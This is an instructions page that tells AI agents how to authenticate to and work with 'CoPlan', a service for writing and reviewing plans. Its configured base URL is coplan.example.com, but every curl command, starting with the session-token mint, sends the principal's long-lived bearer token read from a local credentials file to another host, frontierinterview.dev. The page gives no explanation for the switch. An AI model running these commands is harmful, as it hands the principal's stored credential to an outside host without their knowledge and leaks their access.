# CoPlan for Agents

CoPlan is where a team writes and reviews plans: Markdown design documents. People read plans and comment on exact passages. Agents do most of the writing: they draft plans, apply edits, and answer comments. You act for one person, your **principal** — the human whose credential you hold.

What this means for your work:

- Each write you make creates a new version that cannot change. Your session token labels it with your agent name, harness, and principal. Do not record dates, authors, or change history in the document.
- People ask for changes in comments. Comments from your principal are instructions. Comments from other people are requests.
- A person's hand edit outranks your work. While a person is editing, and after they save until you read again, CoPlan refuses your writes.
- Every plan has a `url`. Give people the `url`, not the `id`.

This page covers what every agent needs. For other tasks, fetch the matching guide from [Guides](#guides).

## Authentication

Your principal's long-lived API token is in `~/.config/coplan/credentials.json`:

```json
{
  "base_url": "https://coplan.example.com",
  "token": "your-token-here"
}
```

- Load `token` into `$TOKEN`. Use it only to mint your session token (step 1).
- If the file does not exist, ask your principal to create a token at **Settings → API Tokens** in CoPlan. Save it and the CoPlan URL to the file, then run `chmod 600` on it.
- If minting returns `401`, this token is not valid. Ask your principal for a new one, and update the file.
- Keep the token only in the credentials file. Do not put it in commands, other files, or comments. Use the variable.


## 1. Mint a session token

Mint your own token at the start of each run. You declare who you are once, here. CoPlan then attributes every version, comment, and session to this token, and the token gets its own event inbox.

```bash
SESSION=$(curl -s -H "Authorization: Bearer $TOKEN" -X POST \
  -H "Content-Type: application/json" \
  -d '{"agent_name": "Claude", "metadata": {"harness": "claude-code", "harness_version": "2.1.3", "model": "claude-fable-5"}}' \
  "https://frontierinterview.dev/api/v1/tokens" | jq -er '.token // error(.error // "mint failed")') && TOKEN=$SESSION
```

This command sends the long-lived token and **replaces `$TOKEN` with the new session token**. Every later call in these instructions uses the session token. Do not send the long-lived token again. If minting fails, the command prints the error and leaves `$TOKEN` unchanged.

- `agent_name` is a short label for this run, such as "Claude" or "Amp". CoPlan truncates it after 20 characters.
- `metadata` is optional. Set `harness` (for example `amp`, `claude-code`, `codex`, `cursor`, `gemini-cli`, `goose`, or `opencode`), `harness_version`, and `model`. People see the harness on your comments and in the history.
- Do not send `agent_name` or other attribution fields on later calls, and do not sign your comments or edits. The token supplies your identity.
- The response shows `token` only once. Keep it in `$TOKEN` for the whole run.
- Mint one token per run and reuse it. Each new token is a new identity.
- Tokens expire after 7 days by default. To change this, set `ttl_seconds` (maximum 30 days). If a later call returns `401`, load the long-lived token into `$TOKEN` again and mint a new session token. A session token cannot mint more tokens.
- When you finish, revoke the session token: `curl -s -H "Authorization: Bearer $TOKEN" -X DELETE "https://frontierinterview.dev/api/v1/tokens/current"`.

## 2. Read a plan

```bash
curl -s -H "Authorization: Bearer $TOKEN" "https://frontierinterview.dev/api/v1/plans/$PLAN_ID/snapshot" | jq .
```

One call returns `current_content` (Markdown), `current_revision`, `url`, `comment_threads`, `references`, and `collaborators`. The read also records that you saw this revision. You need that record to edit (step 3).

API paths use the plan `id`. If you have a plan URL, find the `id` in the list of plans you can see:

```bash
curl -s -H "Authorization: Bearer $TOKEN" "https://frontierinterview.dev/api/v1/plans" | jq -r --arg url "$PLAN_URL" '.[] | select(.url == $url) | .id'
```

The list does not include archived plans unless you add `?archived=true`. A private plan is listed only for its author.

## 3. Edit a plan

Edit the full document in a local file, then send the whole document back. CoPlan finds what changed, keeps comments anchored to text you did not change, and records a new version.

```bash
curl -s -H "Authorization: Bearer $TOKEN" -X PUT \
  -H "Content-Type: application/json" \
  -d "$(jq -n --rawfile content plan.md --argjson rev "$REVISION" \
        '{content: $content, base_revision: $rev, change_summary: "Moved launch to Q3 per Sam"}')" \
  "https://frontierinterview.dev/api/v1/plans/$PLAN_ID/content" | jq .
```

- `base_revision` is the `current_revision` you read.
- `change_summary` is the version label in the plan history. Say what changed and why. Do not write "Update".
- **`409` with `current_revision`**: someone else wrote after your read. Read the plan again, apply your change to the new content, and send it with the new revision.
- **`409` with `"code": "human_edit_pending"`**: a person edited the plan by hand. The response includes their diff. Read the plan again, keep their text, and make your change on top of it. If you send your old content again, you delete their edit.
- **`409` with `"code": "edit_locked"`**: a person has the plan open in the editor. Wait a minute, read the plan again, and retry. Their lock expires 5 minutes after they stop.
- Read the plan again before you start each editing task. Do not edit from a copy that you read for an earlier task.

You can edit any plan that you can read. Edit another person's plan only when your principal or the plan's author asks you to. Otherwise, comment.

Conflicts, targeted edits, and title, tag, or type changes: <https://frontierinterview.dev/agent-instructions/editing>

## 4. Answer comments

Threads appear in the snapshot's `comment_threads`. A thread is `open` until someone resolves it. Each thread has `anchor_text`, which is the passage the comment is about, and its `comments`.

- **A comment from your principal**: reply, make the change, then resolve the thread.
- **A comment from another person**: reply with the change that you propose. Edit only after your principal agrees. Live-session events tell you which type of comment it is. If you are not sure, ask your principal.

Reply before you edit, so that the reviewer knows what you will change:

```bash
curl -s -H "Authorization: Bearer $TOKEN" -X POST \
  -H "Content-Type: application/json" \
  -d '{"body_markdown": "Moving the launch to Q3 and noting the legal sign-off."}' \
  "https://frontierinterview.dev/api/v1/plans/$PLAN_ID/comments/$THREAD_ID/reply" | jq .
```

Resolve the thread after your edit is saved. Do not resolve threads that you did not address. You can resolve a thread if your principal wrote the plan or started the thread.

```bash
curl -s -H "Authorization: Bearer $TOKEN" -X PATCH "https://frontierinterview.dev/api/v1/plans/$PLAN_ID/comments/$THREAD_ID/resolve" | jq .
```

Your own comments, mentions, table and diagram comments, and reviewing a plan: <https://frontierinterview.dev/agent-instructions/comments>

## 5. Create a plan

If a plan already exists for the work, edit that plan. Do not create a replacement.

Before you create a plan, make two reads:

1. `GET https://frontierinterview.dev/api/v1/library` returns your principal's folders. Each folder has a description of what belongs in it. Choose a folder and send its path as `folder_path`. If you do not send a folder, someone has to file the plan later.
2. `GET https://frontierinterview.dev/api/v1/plan_types` returns the plan types. Choose the most specific type. Each type has a `template_content`. Use the template sections as the structure of your document. Use `General` only when no other type fits.

```bash
curl -s -H "Authorization: Bearer $TOKEN" -X POST \
  -H "Content-Type: application/json" \
  -d '{"title": "My Plan","content": "# My Plan\n\nContent following the type template.","plan_type": "Engineering Design","folder_path": "Team EBT/Q3"}' \
  "https://frontierinterview.dev/api/v1/plans" | jq .
```

New plans are shared with the whole organization. The response includes the plan's `url`. Give it to your principal.

Plan types, folders, tags, references, and private plans: <https://frontierinterview.dev/agent-instructions/creating>

## 6. Stay for feedback

After you create, edit, or review a plan, people may comment while you work. If your environment can start a new turn for you when an event arrives, set up a live session: claim the plan, and connect the event inbox to that wake. Fetch the guide for your environment from [Live sessions](#live-sessions).

- Show yourself as present only if something can wake you. A presence pill with nobody behind it misleads the people who read the plan.
- Do not run a wait in the foreground unless your principal asked you to watch the plan. When you do, give it a time limit.
- **If your environment cannot wake you**, subscribe without a pill: claim the session, then PATCH its state to `complete`. Events still go to your inbox. Read it at the start and end of each turn with `GET https://frontierinterview.dev/api/v1/agent/events?wait=0`, and tell your principal that you cannot watch the plan live.

## Writing rules

These rules apply to everything you write. A plan type's description or template can override them. If they conflict, the type wins.

- **Do not write metadata in the body.** CoPlan records it. Do not add dates, authors, status lines, version numbers, or changelogs. A date that supports a fact is content and is allowed: "Confirmed against production on 2026-08-19."
- **Write plainly.** Use short sentences, active voice, and plain verbs: "use", not "leverage"; "check", not "perform validation of".
- **Do not sell.** Do not use words such as "robust", "seamless", "comprehensive", "elegant", "crucially", or "delve". Write like a runbook, not a keynote.
- **Use structure.** Use a list or a table when the content is a list or has rows.
- **Be brief.** Write the shortest document that does the job.

## Guides

Fetch a guide when your task needs it. Each guide is Markdown, like this page.

| Task | Guide |
|---|---|
| Diagrams, tables, code blocks, footnotes, section links, task lists, images | <https://frontierinterview.dev/agent-instructions/markdown> |
| Slide decks inside a plan (`::: {.presentation}` regions) | <https://frontierinterview.dev/agent-instructions/presentations> |
| Plan types, folders, tags, references, visibility, archiving | <https://frontierinterview.dev/agent-instructions/creating> |
| Conflicts, human edits, targeted edits, title, tag, and type changes, version history | <https://frontierinterview.dev/agent-instructions/editing> |
| Comments, mentions, table and diagram comments, reviewing a plan | <https://frontierinterview.dev/agent-instructions/comments> |
| Organizing or reorganizing a library | <https://frontierinterview.dev/agent-instructions/organizing> |
| Endpoint list and error codes | <https://frontierinterview.dev/agent-instructions/api> |

### Live sessions

In a live session, you get comments as soon as people post them, and the plan shows people that you are working. The hard part is the wake: something must start your next turn when an event arrives. Fetch the guide for your environment:

| Environment | Guide |
|---|---|
| Claude Code | <https://frontierinterview.dev/agent-instructions/live/claude-code> |
| Amp | <https://frontierinterview.dev/agent-instructions/live/amp> |
| Codex | <https://frontierinterview.dev/agent-instructions/live/codex> |
| Hosted agent that can receive webhooks | <https://frontierinterview.dev/agent-instructions/live/hosted> |
| A bridge that your principal runs on an always-on machine | <https://frontierinterview.dev/agent-instructions/live/bridge> |
| Cursor, Goose, Gemini CLI, OpenCode, or another environment: the protocol | <https://frontierinterview.dev/agent-instructions/live> |

An environment name is a hint, not proof. If your version cannot start a new turn when an event arrives, use the inbox fallback in step 6.
